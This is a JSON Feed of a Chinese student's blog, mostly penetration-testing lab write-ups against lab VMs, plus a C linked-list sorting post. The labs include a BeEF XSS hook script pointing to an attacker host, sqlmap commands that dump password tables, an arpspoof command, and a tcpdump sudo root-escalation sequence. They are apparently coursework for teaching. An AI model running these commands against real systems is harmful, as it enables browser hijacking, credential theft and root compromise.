{
    "version": "https://jsonfeed.org/version/1",
    "title": "心有猛虎  细嗅蔷薇",
    "subtitle": "In me the tiger sniffs the rose.",
    "icon": "https://sovegetable.github.io/images/favicon.ico",
    "description": "今天不学习明天变菜狗",
    "home_page_url": "https://sovegetable.github.io",
    "items": [
        {
            "id": "https://sovegetable.github.io/test4/",
            "url": "https://sovegetable.github.io/test4/",
            "title": "网络渗透测试实验四",
            "date_published": "2020-12-08T03:35:40.000Z",
            "content_html": "<h1 id=\"web-developer靶机渗透\"><a class=\"anchor\" href=\"#web-developer靶机渗透\">#</a> Web Developer 靶机渗透</h1>\n<p>目的：获取靶机 Web Developer 文件 /root/flag.txt 中 flag。</p>\n<h2 id=\"1-发现目标-netdiscover找到webdeveloper的ip地址\"><a class=\"anchor\" href=\"#1-发现目标-netdiscover找到webdeveloper的ip地址\">#</a> 1、发现目标 (netdiscover)，找到 WebDeveloper 的 IP 地址。</h2>\n<p><img data-src=\"1.png\" alt></p>\n<h2 id=\"2nmap扫描靶机开放端口\"><a class=\"anchor\" href=\"#2nmap扫描靶机开放端口\">#</a> 2.nmap 扫描靶机开放端口</h2>\n<p><img data-src=\"2.png\" alt></p>\n<h2 id=\"3发现http服务并查看\"><a class=\"anchor\" href=\"#3发现http服务并查看\">#</a> 3. 发现 http 服务并查看</h2>\n<p><img data-src=\"3.png\" alt></p>\n<p><img data-src=\"4.png\" alt></p>\n<p>发现是使用 WordPress 搭建的网站，尝试寻找登录后台.</p>\n<h2 id=\"4目录扫描\"><a class=\"anchor\" href=\"#4目录扫描\">#</a> 4. 目录扫描</h2>\n<p>利用 wpscan 扫描</p>\n<blockquote>\n<p><code>WPScan</code>  是一个扫描  <code>WordPress</code>  漏洞的黑盒子扫描器，它可以为所有  <code>Web</code>  开发人员扫描  <code>WordPress</code>  漏洞并在他们开发前找到并解决问题。我们还使用了  <code>Nikto</code>  ，它是一款非常棒的 <code>Web</code>  服务器评估工具，我们认为这个工具应该成为所有针对  <code>WordPress</code>  网站进行的渗透测试的一部分</p>\n</blockquote>\n<p><img data-src=\"6.png\" alt></p>\n<p>发现 upload 目录，可能存在文件上传漏洞</p>\n<p><img data-src=\"7.png\" alt></p>\n<p>发现后台可以尝试弱口令爆破</p>\n<p><img data-src=\"8.png\" alt></p>\n<p>发现可以流量包文件，下载并分析</p>\n<h2 id=\"5流量包分析\"><a class=\"anchor\" href=\"#5流量包分析\">#</a> 5. 流量包分析</h2>\n<p><img data-src=\"9.png\" alt></p>\n<p>利用过滤发现存在明文传输信息，发现是 wp 后台登录账号密码</p>\n<p><img data-src=\"10.png\" alt></p>\n<p>成功登录</p>\n<h2 id=\"6wordpress插件漏洞利用\"><a class=\"anchor\" href=\"#6wordpress插件漏洞利用\">#</a> 6.WordPress 插件漏洞利用</h2>\n<p>在 msf 搜索可用 payload</p>\n<p><img data-src=\"12.png\" alt></p>\n<p>该漏洞需要配合 reflex gallery 插件使用，使用需要在管理员后台安装插件</p>\n<p>版本在 3.14 之前才行！</p>\n<p><img data-src=\"13.png\" alt></p>\n<p>漏洞脚本弹回了 shell, 尝试获取敏感信息</p>\n<p><img data-src=\"14.png\" alt></p>\n<p>访问 wp-config 配置文件找到 mysql 的账号密码，尝试使用登录.</p>\n<h2 id=\"7尝试ssh登录\"><a class=\"anchor\" href=\"#7尝试ssh登录\">#</a> 7. 尝试 ssh 登录</h2>\n<blockquote>\n<p><em>ssh *username@*ip</em></p>\n</blockquote>\n<p><img data-src=\"16.png\" alt></p>\n<h2 id=\"8用户提权\"><a class=\"anchor\" href=\"#8用户提权\">#</a> 8. 用户提权</h2>\n<p>查看权限是 webdeveloper 用户</p>\n<p>无法 cat 到 root 目录</p>\n<p><img data-src=\"20.png\" alt></p>\n<p>sudo -l 查看当前用户可以使用的 root 权限指令</p>\n<p>发现有 tcpdump, 尝试提权</p>\n<pre><code>touch /tmp/exploit1\n</code></pre>\n<p>写入 shellcode</p>\n<pre><code>echo 'cat /root/flag.txt' &gt; /tmp/exploit\n</code></pre>\n<p>赋予可执行权限</p>\n<pre><code>chmod +x /tmp/exploit\n</code></pre>\n<p>利用 tcpdump 执行任意命令</p>\n<pre><code>sudo tcpdump -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/exploit -Z root\n</code></pre>\n<p>获得 flag</p>\n<p><img data-src=\"21.png\" alt></p>\n",
            "tags": [
                "homework"
            ]
        },
        {
            "id": "https://sovegetable.github.io/test3/",
            "url": "https://sovegetable.github.io/test3/",
            "title": "网络渗透测试实验三",
            "date_published": "2020-11-22T08:28:18.000Z",
            "content_html": "<h1 id=\"网络渗透测试实验三\"><a class=\"anchor\" href=\"#网络渗透测试实验三\">#</a> <strong>网络渗透测试实验三</strong></h1>\n<h1 id=\"xss部分利用beef劫持被攻击者客户端浏览器\"><a class=\"anchor\" href=\"#xss部分利用beef劫持被攻击者客户端浏览器\">#</a> <strong>XSS<strong><strong> 部分：利用</strong></strong> Beef**** 劫持被攻击者客户端浏览器。</strong></h1>\n<p><span class=\"kbd\">实验环境：存在 xss 漏洞的留言板，IIS 虚拟机，Kali</span></p>\n<h2 id=\"1-利用awvs扫描留言簿网站发现其存在xss漏洞\"><a class=\"anchor\" href=\"#1-利用awvs扫描留言簿网站发现其存在xss漏洞\">#</a> 1、利用 AWVS 扫描留言簿网站，发现其存在 XSS 漏洞。</h2>\n<p><img data-src=\"1.png\" alt></p>\n<p>可以看到你开默认模式的话会有大量的测试 payload 写入留言板</p>\n<p>所以在实战扫描时要注意，扫描但<span class=\"label danger\">🔒不要破坏资产</span></p>\n<p><img data-src=\"4.png\" alt></p>\n<hr>\n<h2 id=\"2-kali使用beef生成恶意代码\"><a class=\"anchor\" href=\"#2-kali使用beef生成恶意代码\">#</a> 2、 Kali 使用 beef 生成恶意代码</h2>\n<p><img data-src=\"2.png\" alt></p>\n<blockquote>\n<p>打开终端启动 beef-xss 会自动生成恶意文件</p>\n<p>并通过跨站运行脚本的形式操控被攻击者</p>\n</blockquote>\n<hr>\n<h2 id=\"3-访问留言簿网站将恶意代码写入网站留言板\"><a class=\"anchor\" href=\"#3-访问留言簿网站将恶意代码写入网站留言板\">#</a> 3、访问留言簿网站，将恶意代码写入网站留言板.</h2>\n<pre><code class=\"language-php+HTML\">&lt;script src=&quot;http://192.168.0.135:3000/hook.js&quot;&gt;&lt;/script&gt;\n</code></pre>\n<p><img data-src=\"3.png\" alt></p>\n<hr>\n<h2 id=\"4-管理员登录loginhtm账号密码均为admin审核用户留言-只要客户端访问这个服务器的留言板客户端浏览器就会被劫持指定被劫持网站为学校主页将你在beff中的配置截图\"><a class=\"anchor\" href=\"#4-管理员登录loginhtm账号密码均为admin审核用户留言-只要客户端访问这个服务器的留言板客户端浏览器就会被劫持指定被劫持网站为学校主页将你在beff中的配置截图\">#</a> 4、管理员登录 login.htm，账号密码均为 admin，审核用户留言。只要客户端访问这个服务器的留言板，客户端浏览器就会被劫持，指定被劫持网站为学校主页，将你在 beff 中的配置截图。</h2>\n<p><img data-src=\"5.png\" alt></p>\n<p><img data-src=\"6.png\" alt></p>\n<p><img data-src=\"8.png\" alt></p>\n<hr>\n<h2 id=\"5-回答问题实验中xss攻击属于哪种类型\"><a class=\"anchor\" href=\"#5-回答问题实验中xss攻击属于哪种类型\">#</a> 5、回答问题：实验中 XSS 攻击属于哪种类型？</h2>\n<blockquote>\n<p>XSS 有三种类型</p>\n<p>1. 反射型</p>\n<p>反射型 XSS 一般是攻击者通过特定手法（如电子邮件），诱使用户去访问一个包含恶意代码的 URL，当受害者点击这些专门设计的链接的时候，恶意代码会直接在受害者主机上的浏览器执行。</p>\n<p>对于访问者而言是一次性的，具体表现在我们把我们的恶意脚本通过 URL 的方式传递给了服务器，而服务器则只是不加处理的把脚本 “反射” 回访问者的浏览器而使访问者的浏览器执行相应的脚本。反射型 XSS 的触发有后端的参与，要避免反射性 XSS，必须需要后端的协调，后端解析前端的数据时首先做相关的字串检测和转义处理。</p>\n<p>此类 XSS 通常出现在网站的搜索栏、用户登录口等地方，常用来窃取客户端 Cookies 或进行钓鱼欺骗。</p>\n<p>2. 存储型</p>\n<p>攻击者事先将恶意代码上传或储存到漏洞服务器中，只要受害者浏览包含此恶意代码的页面就会执行恶意代码。这就意味着只要访问了这个页面的访客，都有可能会执行这段恶意脚本，因此储存型 XSS 的危害会更大。</p>\n<p>存储型 XSS 一般出现在网站留言、评论、博客日志等交互处，恶意脚本存储到客户端或者服务端的数据库中。</p>\n<p>3.Dom 型</p>\n<p>客户端的脚本程序可以动态地检查和修改页面内容，而不依赖于服务器端的数据。例如客户端如从 URL 中提取数据并在本地执行，如果用户在客户端输入的数据包含了恶意的 JavaScript 脚本，而这些脚本没有经过适当的过滤和消毒，那么应用程序就可能受到 DOM-based XSS 攻击。需要特别注意以下的用户输入源 document.URL、 location.hash、 location.search、 document.referrer 等。</p>\n</blockquote>\n<p><ins class=\"dot.warning\"><strong>本次实验是存储型 XSS 漏洞</strong></ins></p>\n<hr>\n<h1 id=\"sql注入部分dvwasqlmapmysql注入实战\"><a class=\"anchor\" href=\"#sql注入部分dvwasqlmapmysql注入实战\">#</a> <strong>SQL 注入部分：DVWA+SQLmap+Mysql 注入实战</strong></h1>\n<p>实验环境搭建。启动 Metasploitable2 虚拟机。</p>\n<p>用 kali 访问 Metasploitable2 的 dvwa</p>\n<h2 id=\"img1-注入点发现-首先肯定是要判断是否有注入漏洞\"><a class=\"anchor\" href=\"#img1-注入点发现-首先肯定是要判断是否有注入漏洞\">#</a> <img data-src=\"../source/assets/clip_image002.jpg\" alt=\"img\">1、注入点发现。首先肯定是要判断是否有注入漏洞。</h2>\n<p>在输入框输入 1，返回</p>\n<p>ID: 1</p>\n<p>First name: admin</p>\n<p>Surname: admin</p>\n<p>返回正常；</p>\n<p>再次输入 1'，报错，返回</p>\n<p>You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1</p>\n<p>此时可以断定有 SQL 注入漏洞，</p>\n<p>下面利用 SQLMap 进行注入攻击。将 DVWA 安全级别设置为最低；</p>\n<p>因为需要登陆到 dvwa 所以需要获取到 cookies (f12)</p>\n<p><img data-src=\"9.png\" alt></p>\n<h2 id=\"2-枚举当前使用的数据库名称和用户名\"><a class=\"anchor\" href=\"#2-枚举当前使用的数据库名称和用户名\">#</a> 2、枚举当前使用的数据库名称和用户名。</h2>\n<p><img data-src=\"../source/assets/clip_image004.jpg\" alt=\"img\"></p>\n<blockquote>\n<p>sqlmap -u '192.168.0.119/dvwa/vulnerabilities/sqli/?id=1&amp;Submit=Submit#' --cookie='security=low; PHPSESSID=1b12f42a1d09ded8a69bef4a465df117' -b --current-db --current-user</p>\n</blockquote>\n<p><img data-src=\"10.png\" alt></p>\n<hr>\n<h2 id=\"3-枚举数据库用户名和密码\"><a class=\"anchor\" href=\"#3-枚举数据库用户名和密码\">#</a> 3、枚举数据库用户名和密码</h2>\n<blockquote>\n<p>sqlmap -u '192.168.0.119/dvwa/vulnerabilities/sqli/?id=1&amp;Submit=Submit#' --cookie='security=low; PHPSESSID=1b12f42a1d09ded8a69bef4a465df117' -D dvwa --string=&quot;Surname&quot; --users --password</p>\n</blockquote>\n<p><img data-src=\"11.png\" alt></p>\n<p><img data-src=\"../source/assets/clip_image006.jpg\" alt=\"img\"></p>\n<hr>\n<h2 id=\"4-枚举数据库\"><a class=\"anchor\" href=\"#4-枚举数据库\">#</a> 4、枚举数据库</h2>\n<p>--dbs：枚举当前数据库</p>\n<blockquote>\n<p>sqlmap -u '192.168.0.119/dvwa/vulnerabilities/sqli/?id=1&amp;Submit=Submit#' --cookie='security=low; PHPSESSID=1b12f42a1d09ded8a69bef4a465df117' --dbs</p>\n</blockquote>\n<p><img data-src=\"12.png\" alt></p>\n<hr>\n<h2 id=\"5-枚举数据库和指定数据库的数据表\"><a class=\"anchor\" href=\"#5-枚举数据库和指定数据库的数据表\">#</a> 5、枚举数据库和指定数据库的数据表</h2>\n<p>-D 数据库名：指定数据库</p>\n<p>--tables：枚举指定数据库的所有表</p>\n<blockquote>\n<p>sqlmap -u '192.168.0.119/dvwa/vulnerabilities/sqli/?id=1&amp;Submit=Submit#' --cookie='security=low; PHPSESSID=1b12f42a1d09ded8a69bef4a465df117' -D mysql -T user --columns</p>\n</blockquote>\n<p><img data-src=\"13.png\" alt></p>\n<hr>\n<h2 id=\"6-获取指定数据库和表中所有列的信息\"><a class=\"anchor\" href=\"#6-获取指定数据库和表中所有列的信息\">#</a> 6、获取指定数据库和表中所有列的信息</h2>\n<p>-D：指定的数据库</p>\n<p>-T：指定数据库中的数据表</p>\n<p>--columns：获取列的信息</p>\n<blockquote>\n<p>sqlmap -u '192.168.0.119/dvwa/vulnerabilities/sqli/?id=1&amp;Submit=Submit#' --cookie='security=low; PHPSESSID=1b12f42a1d09ded8a69bef4a465df117' -D mysql -T user -C user,password --dump</p>\n</blockquote>\n<p><img data-src=\"14.png\" alt></p>\n<hr>\n<h2 id=\"7-枚举指定数据表中的所有用户名与密码并down到本地\"><a class=\"anchor\" href=\"#7-枚举指定数据表中的所有用户名与密码并down到本地\">#</a> 7、枚举指定数据表中的所有用户名与密码，并 down 到本地。</h2>\n<p>-C：枚举数据表中的列</p>\n<p>--dump：存储数据表项</p>\n<blockquote>\n<p>sqlmap -u '192.168.0.119/dvwa/vulnerabilities/sqli/?id=1&amp;Submit=Submit#' --cookie='security=low; PHPSESSID=1b12f42a1d09ded8a69bef4a465df117' --string=&quot;Surname&quot; -D dvwa -T users -C user,password --dump</p>\n</blockquote>\n<p><img data-src=\"15.png\" alt></p>\n<div class=\"note info\">\n<p>文件保存在 root 文件夹需要 root 的权限才能查看，可以通过 chmod 命令更改权限。此外.local 文件是隐藏文件夹 图形化界面按下组合键 ctrl+H 显示，命令行 ls -la.</p>\n</div>\n<h1 id=\"总结\"><a class=\"anchor\" href=\"#总结\">#</a> <strong>总结</strong></h1>\n<div class=\"note success\">\n<p>这次实验学习了 sqlmap 和 beef 的使用，了解了关于 sql 注入和 xss 利用的知识，<mark> 没有金刚钻别揽瓷器活</mark>学会使用工具是提高效率的第一步。之后还要探索工具背后的实现原理，这样才能做到游刃有余！</p>\n</div>\n",
            "tags": [
                "homework"
            ]
        },
        {
            "id": "https://sovegetable.github.io/tuijian/",
            "url": "https://sovegetable.github.io/tuijian/",
            "title": "组内实验推荐",
            "date_published": "2020-11-10T12:24:54.000Z",
            "content_html": "<h2 id=\"推荐一下组内成员的博客\"><a class=\"anchor\" href=\"#推荐一下组内成员的博客\">#</a> <span class=\"rainbow\">推荐一下组内成员的博客</span></h2>\n<p><div class=\"links\"><div class=\"item\" title=\"组员的Csdnblog\" style=\"--block-color:#e9546b;\"><span class=\"exturl image\" data-url=\"aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dvd19pYW1mcmVlL2FydGljbGUvZGV0YWlscy8xMDkxMzA5OTc=\" data-background-image=\"https://profile.csdnimg.cn/8/A/B/3_wow_iamfree\"></span>\n          <div class=\"info\">\n          <span class=\"exturl title\" data-url=\"aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dvd19pYW1mcmVlL2FydGljbGUvZGV0YWlscy8xMDkxMzA5OTc=\">kfew</span>\n          <p class=\"desc\">组内成员 实验--easyfilesharing</p>\n          </div></div><div class=\"item\" title=\"组员的Csdnblog\" style=\"--block-color:#e9546b;\"><span class=\"exturl image\" data-url=\"aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dvd19pYW1mcmVlL2FydGljbGUvZGV0YWlscy8xMDk0NDExNTQ=\" data-background-image=\"https://avatar.csdnimg.cn/8/A/B/3_wow_iamfree_1602906513.jpg\"></span>\n          <div class=\"info\">\n          <span class=\"exturl title\" data-url=\"aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dvd19pYW1mcmVlL2FydGljbGUvZGV0YWlscy8xMDk0NDExNTQ=\">kfew</span>\n          <p class=\"desc\">组内成员 实验——注册机</p>\n          </div></div></div></p>\n",
            "tags": [
                "homework"
            ]
        },
        {
            "id": "https://sovegetable.github.io/%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84/",
            "url": "https://sovegetable.github.io/%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84/",
            "title": "数据结构链表的排序实现",
            "date_published": "2020-11-04T10:56:07.000Z",
            "content_html": "<p><span class=\"exturl\" data-url=\"aHR0cHM6Ly93d3cuY25ibG9ncy5jb20vb25lcGl4ZWwvcC83Njc0NjU5Lmh0bWw=\">链接：十大经典排序算法（动画演示）</span></p>\n<hr>\n<h2 id=\"冒泡排序\"><a class=\"anchor\" href=\"#冒泡排序\">#</a> 冒泡排序</h2>\n<figure class=\"highlight c\"><figcaption data-lang=\"c\"></figcaption><table><tr><td data-num=\"1\"></td><td><pre>PNode p<span class=\"token punctuation\">,</span>q<span class=\"token punctuation\">;</span><span class=\"token comment\">//PNode 是结构体指针</span></pre></td></tr><tr><td data-num=\"2\"></td><td><pre>\t</pre></td></tr><tr><td data-num=\"3\"></td><td><pre><span class=\"token keyword\">for</span> <span class=\"token punctuation\">(</span>p <span class=\"token operator\">=</span> head<span class=\"token operator\">-></span>next<span class=\"token punctuation\">;</span> p <span class=\"token operator\">!=</span> <span class=\"token constant\">NULL</span><span class=\"token punctuation\">;</span> p <span class=\"token operator\">=</span> p<span class=\"token operator\">-></span>next<span class=\"token punctuation\">)</span></pre></td></tr><tr><td data-num=\"4\"></td><td><pre>    <span class=\"token comment\">//p 赋值为数据域的第一个元素，遍历一遍</span></pre></td></tr><tr><td data-num=\"5\"></td><td><pre>   <span class=\"token keyword\">for</span> <span class=\"token punctuation\">(</span>q <span class=\"token operator\">=</span> p<span class=\"token operator\">-></span>next<span class=\"token punctuation\">;</span> q <span class=\"token operator\">!=</span> <span class=\"token constant\">NULL</span><span class=\"token punctuation\">;</span> q <span class=\"token operator\">=</span> q<span class=\"token operator\">-></span>next<span class=\"token punctuation\">)</span></pre></td></tr><tr><td data-num=\"6\"></td><td><pre>        <span class=\"token comment\">// 相当于是将 p 和其后的所有元素比较</span></pre></td></tr><tr><td data-num=\"7\"></td><td><pre>     <span class=\"token keyword\">if</span><span class=\"token punctuation\">(</span>p<span class=\"token operator\">-></span>data<span class=\"token operator\">></span>q<span class=\"token operator\">-></span>data<span class=\"token punctuation\">)</span><span class=\"token comment\">//</span></pre></td></tr><tr><td data-num=\"8\"></td><td><pre>     <span class=\"token punctuation\">&#123;</span></pre></td></tr><tr><td data-num=\"9\"></td><td><pre>       <span class=\"token keyword\">int</span> tp <span class=\"token operator\">=</span> p<span class=\"token operator\">-></span>data<span class=\"token punctuation\">;</span> p<span class=\"token operator\">-></span>data <span class=\"token operator\">=</span> q<span class=\"token operator\">-></span>data<span class=\"token punctuation\">;</span> q<span class=\"token operator\">-></span>data <span class=\"token operator\">=</span> tp<span class=\"token punctuation\">;</span>      <span class=\"token punctuation\">&#125;</span></pre></td></tr></table></figure><hr>\n<h2 id=\"选择排序\"><a class=\"anchor\" href=\"#选择排序\">#</a> 选择排序</h2>\n<figure class=\"highlight c\"><figcaption data-lang=\"c\"></figcaption><table><tr><td data-num=\"1\"></td><td><pre>PNode p<span class=\"token punctuation\">,</span>q<span class=\"token punctuation\">,</span>Min<span class=\"token punctuation\">;</span><span class=\"token comment\">//PNode 是结构体指针</span></pre></td></tr><tr><td data-num=\"2\"></td><td><pre></pre></td></tr><tr><td data-num=\"3\"></td><td><pre><span class=\"token keyword\">for</span> <span class=\"token punctuation\">(</span>p <span class=\"token operator\">=</span> head<span class=\"token operator\">-></span>next<span class=\"token punctuation\">;</span> p <span class=\"token operator\">!=</span> <span class=\"token constant\">NULL</span><span class=\"token punctuation\">;</span> p <span class=\"token operator\">=</span> p<span class=\"token operator\">-></span>next<span class=\"token punctuation\">)</span></pre></td></tr><tr><td data-num=\"4\"></td><td><pre>    <span class=\"token comment\">// 假定 p 为所有元素的最小值</span></pre></td></tr><tr><td data-num=\"5\"></td><td><pre>    <span class=\"token keyword\">for</span> <span class=\"token punctuation\">(</span>q <span class=\"token operator\">=</span> p<span class=\"token operator\">-></span>next<span class=\"token punctuation\">;</span> q <span class=\"token operator\">!=</span> <span class=\"token constant\">NULL</span><span class=\"token punctuation\">;</span> q <span class=\"token operator\">=</span> q<span class=\"token operator\">-></span>next<span class=\"token punctuation\">)</span></pre></td></tr><tr><td data-num=\"6\"></td><td><pre>        <span class=\"token comment\">//p 和其后所有比较，有小于 p 的话交换位置</span></pre></td></tr><tr><td data-num=\"7\"></td><td><pre>      <span class=\"token keyword\">if</span><span class=\"token punctuation\">(</span>p<span class=\"token operator\">-></span>data<span class=\"token operator\">></span>q<span class=\"token operator\">-></span>data<span class=\"token punctuation\">)</span><span class=\"token comment\">//</span></pre></td></tr><tr><td data-num=\"8\"></td><td><pre>      <span class=\"token punctuation\">&#123;</span></pre></td></tr><tr><td data-num=\"9\"></td><td><pre>         Min<span class=\"token operator\">=</span>q</pre></td></tr><tr><td data-num=\"10\"></td><td><pre>      <span class=\"token punctuation\">&#125;</span></pre></td></tr></table></figure><hr>\n<h2 id=\"快速排序\"><a class=\"anchor\" href=\"#快速排序\">#</a> 快速排序</h2>\n<figure class=\"highlight c\"><figcaption data-lang=\"c\"></figcaption><table><tr><td data-num=\"1\"></td><td><pre><span class=\"token keyword\">void</span> <span class=\"token function\">QuickSort</span><span class=\"token punctuation\">(</span>linklist <span class=\"token operator\">*</span>head<span class=\"token punctuation\">,</span>linklist <span class=\"token operator\">*</span> tail<span class=\"token punctuation\">)</span></pre></td></tr><tr><td data-num=\"2\"></td><td><pre><span class=\"token punctuation\">&#123;</span></pre></td></tr><tr><td data-num=\"3\"></td><td><pre>\t<span class=\"token comment\">// 递归结束条件：当只有 head 与 tail 元素时结束，因为每次我们传进来 mid 其实 mid 已经不用排序，如果只有两个元素而 mid 不需要排序则递归结束</span></pre></td></tr><tr><td data-num=\"4\"></td><td><pre>\t<span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>head<span class=\"token operator\">-></span>next<span class=\"token operator\">==</span>tail<span class=\"token punctuation\">)</span></pre></td></tr><tr><td data-num=\"5\"></td><td><pre>\t<span class=\"token punctuation\">&#123;</span></pre></td></tr><tr><td data-num=\"6\"></td><td><pre>\t\t<span class=\"token keyword\">return</span> <span class=\"token punctuation\">;</span></pre></td></tr><tr><td data-num=\"7\"></td><td><pre>\t<span class=\"token punctuation\">&#125;</span></pre></td></tr><tr><td data-num=\"8\"></td><td><pre>\t<span class=\"token comment\">//p 连接的是比 mid 小的值的链表，q 连接是比 mid 大值的链表并且包括 mid</span></pre></td></tr><tr><td data-num=\"9\"></td><td><pre>\tlistPoint mid<span class=\"token operator\">=</span>head<span class=\"token operator\">-></span>next<span class=\"token punctuation\">;</span></pre></td></tr><tr><td data-num=\"10\"></td><td><pre>\tlistPoint p<span class=\"token operator\">=</span>head<span class=\"token punctuation\">;</span></pre></td></tr><tr><td data-num=\"11\"></td><td><pre>\tlistPoint q<span class=\"token operator\">=</span>mid<span class=\"token punctuation\">;</span></pre></td></tr><tr><td data-num=\"12\"></td><td><pre>\tlistPoint t<span class=\"token operator\">=</span>mid<span class=\"token operator\">-></span>next<span class=\"token punctuation\">;</span></pre></td></tr><tr><td data-num=\"13\"></td><td><pre>\t<span class=\"token keyword\">int</span> pivot<span class=\"token operator\">=</span>mid<span class=\"token operator\">-></span>key<span class=\"token punctuation\">;</span></pre></td></tr><tr><td data-num=\"14\"></td><td><pre>\t<span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>t<span class=\"token operator\">!=</span>tail<span class=\"token punctuation\">)</span></pre></td></tr><tr><td data-num=\"15\"></td><td><pre>\t<span class=\"token punctuation\">&#123;</span></pre></td></tr><tr><td data-num=\"16\"></td><td><pre>\t\t<span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>t<span class=\"token operator\">-></span>key<span class=\"token operator\">&lt;</span>pivot<span class=\"token punctuation\">)</span></pre></td></tr><tr><td data-num=\"17\"></td><td><pre>\t\t<span class=\"token punctuation\">&#123;</span></pre></td></tr><tr><td data-num=\"18\"></td><td><pre>\t\t\tp<span class=\"token operator\">=</span>p<span class=\"token operator\">-></span>next<span class=\"token operator\">=</span>t<span class=\"token punctuation\">;</span></pre></td></tr><tr><td data-num=\"19\"></td><td><pre>\t\t<span class=\"token punctuation\">&#125;</span></pre></td></tr><tr><td data-num=\"20\"></td><td><pre>\t\t<span class=\"token keyword\">else</span></pre></td></tr><tr><td data-num=\"21\"></td><td><pre>\t\t<span class=\"token punctuation\">&#123;</span></pre></td></tr><tr><td data-num=\"22\"></td><td><pre>\t\t\tq<span class=\"token operator\">=</span>q<span class=\"token operator\">-></span>next<span class=\"token operator\">=</span>t<span class=\"token punctuation\">;</span></pre></td></tr><tr><td data-num=\"23\"></td><td><pre>\t\t<span class=\"token punctuation\">&#125;</span></pre></td></tr><tr><td data-num=\"24\"></td><td><pre>\t\tt<span class=\"token operator\">=</span>t<span class=\"token operator\">-></span>next<span class=\"token punctuation\">;</span></pre></td></tr><tr><td data-num=\"25\"></td><td><pre>\t<span class=\"token punctuation\">&#125;</span></pre></td></tr><tr><td data-num=\"26\"></td><td><pre>\t<span class=\"token comment\">//p 链表连接上 q 链表 </span></pre></td></tr><tr><td data-num=\"27\"></td><td><pre>\tp<span class=\"token operator\">-></span>next<span class=\"token operator\">=</span>mid<span class=\"token punctuation\">;</span></pre></td></tr><tr><td data-num=\"28\"></td><td><pre>\tq<span class=\"token operator\">-></span>next<span class=\"token operator\">=</span>tail<span class=\"token punctuation\">;</span><span class=\"token comment\">//q 链表尾部指向 NULL </span></pre></td></tr><tr><td data-num=\"29\"></td><td><pre>\t<span class=\"token function\">QuickSort</span><span class=\"token punctuation\">(</span>head<span class=\"token punctuation\">,</span>mid<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span><span class=\"token comment\">// 递归调用 QuickSort</span></pre></td></tr><tr><td data-num=\"30\"></td><td><pre>\t<span class=\"token function\">QuickSort</span><span class=\"token punctuation\">(</span>mid<span class=\"token punctuation\">,</span>tail<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span></pre></td></tr><tr><td data-num=\"31\"></td><td><pre><span class=\"token punctuation\">&#125;</span></pre></td></tr></table></figure><p><span class=\"exturl\" data-url=\"aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2h1cnV6dW4vYXJ0aWNsZS9kZXRhaWxzLzI1MDAxMDg1P3V0bV9tZWRpdW09ZGlzdHJpYnV0ZS5wY19yZWxldmFudF90MC5ub25lLXRhc2stYmxvZy1CbG9nQ29tbWVuZEZyb21NYWNoaW5lTGVhcm5QYWkyLTEuY2hhbm5lbF9wYXJhbSZhbXA7ZGVwdGhfMS11dG1fc291cmNlPWRpc3RyaWJ1dGUucGNfcmVsZXZhbnRfdDAubm9uZS10YXNrLWJsb2ctQmxvZ0NvbW1lbmRGcm9tTWFjaGluZUxlYXJuUGFpMi0xLmNoYW5uZWxfcGFyYW0=\">C 语言链表快速排序</span></p>\n<hr>\n<p>挖个坑... 未完待续...</p>\n",
            "tags": [
                "数据结构"
            ]
        },
        {
            "id": "https://sovegetable.github.io/test2/",
            "url": "https://sovegetable.github.io/test2/",
            "title": "网络渗透实验二",
            "date_published": "2020-11-03T15:47:15.000Z",
            "content_html": "<h2 id=\"1-a主机上外网b运行sinfferwireshark选定只抓源为a的数据\"><a class=\"anchor\" href=\"#1-a主机上外网b运行sinfferwireshark选定只抓源为a的数据\">#</a> 1、A 主机上外网，B 运行 sinffer (Wireshark) 选定只抓源为 A 的数据)。</h2>\n<h5 id=\"11-写出以上过滤语句\"><a class=\"anchor\" href=\"#11-写出以上过滤语句\">#</a> 1.1 写出以上过滤语句。</h5>\n<blockquote>\n<p>ip.src == ipaddress of A</p>\n</blockquote>\n<p><span class=\"exturl\" data-url=\"aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2xpdWNoYW94dWFuL2FydGljbGUvZGV0YWlscy84MTYwNTI1Nw==\">wireshark 过滤规则及使用方法</span></p>\n<h5 id=\"12-b是否能看到a和外网的通信a刚输入的帐户和口令为什么\"><a class=\"anchor\" href=\"#12-b是否能看到a和外网的通信a刚输入的帐户和口令为什么\">#</a> 1.2 B 是否能看到 A 和外网的通信（A 刚输入的帐户和口令）？为什么？</h5>\n<blockquote>\n<p>能，因为我们都是在一个网段下。网关会向所有人发送报文，不是本机 ip 会被电脑自动丢弃</p>\n</blockquote>\n<h5 id=\"21-为了捕获a到外网的数据b实施arp欺骗攻击b将冒充该子网的什么实体\"><a class=\"anchor\" href=\"#21-为了捕获a到外网的数据b实施arp欺骗攻击b将冒充该子网的什么实体\">#</a> 2.1 为了捕获 A 到外网的数据，B 实施 ARP 欺骗攻击，B 将冒充该子网的什么实体？</h5>\n<blockquote>\n<p>网关 （gateway）</p>\n</blockquote>\n<h5 id=\"22-写出arpspoof命令格式\"><a class=\"anchor\" href=\"#22-写出arpspoof命令格式\">#</a> 2.2 写出 arpspoof 命令格式。</h5>\n<blockquote>\n<p>arpspoof -i 网卡 -t 目标 ip 网关</p>\n</blockquote>\n<h5 id=\"23-在互联网上找到任意一个以明文方式传递用户帐号-密码的网站截图wireshark中显示的明文信息\"><a class=\"anchor\" href=\"#23-在互联网上找到任意一个以明文方式传递用户帐号-密码的网站截图wireshark中显示的明文信息\">#</a> 2.3 在互联网上找到任意一个以明文方式传递用户帐号、密码的网站，截图 Wireshark 中显示的明文信息。</h5>\n<p><img data-src=\"17.png\" alt></p>\n<p><img data-src=\"18.png\" alt></p>\n<p>密码是 base64 加密，相当于～<s> 无</s>～</p>\n<hr>\n<h2 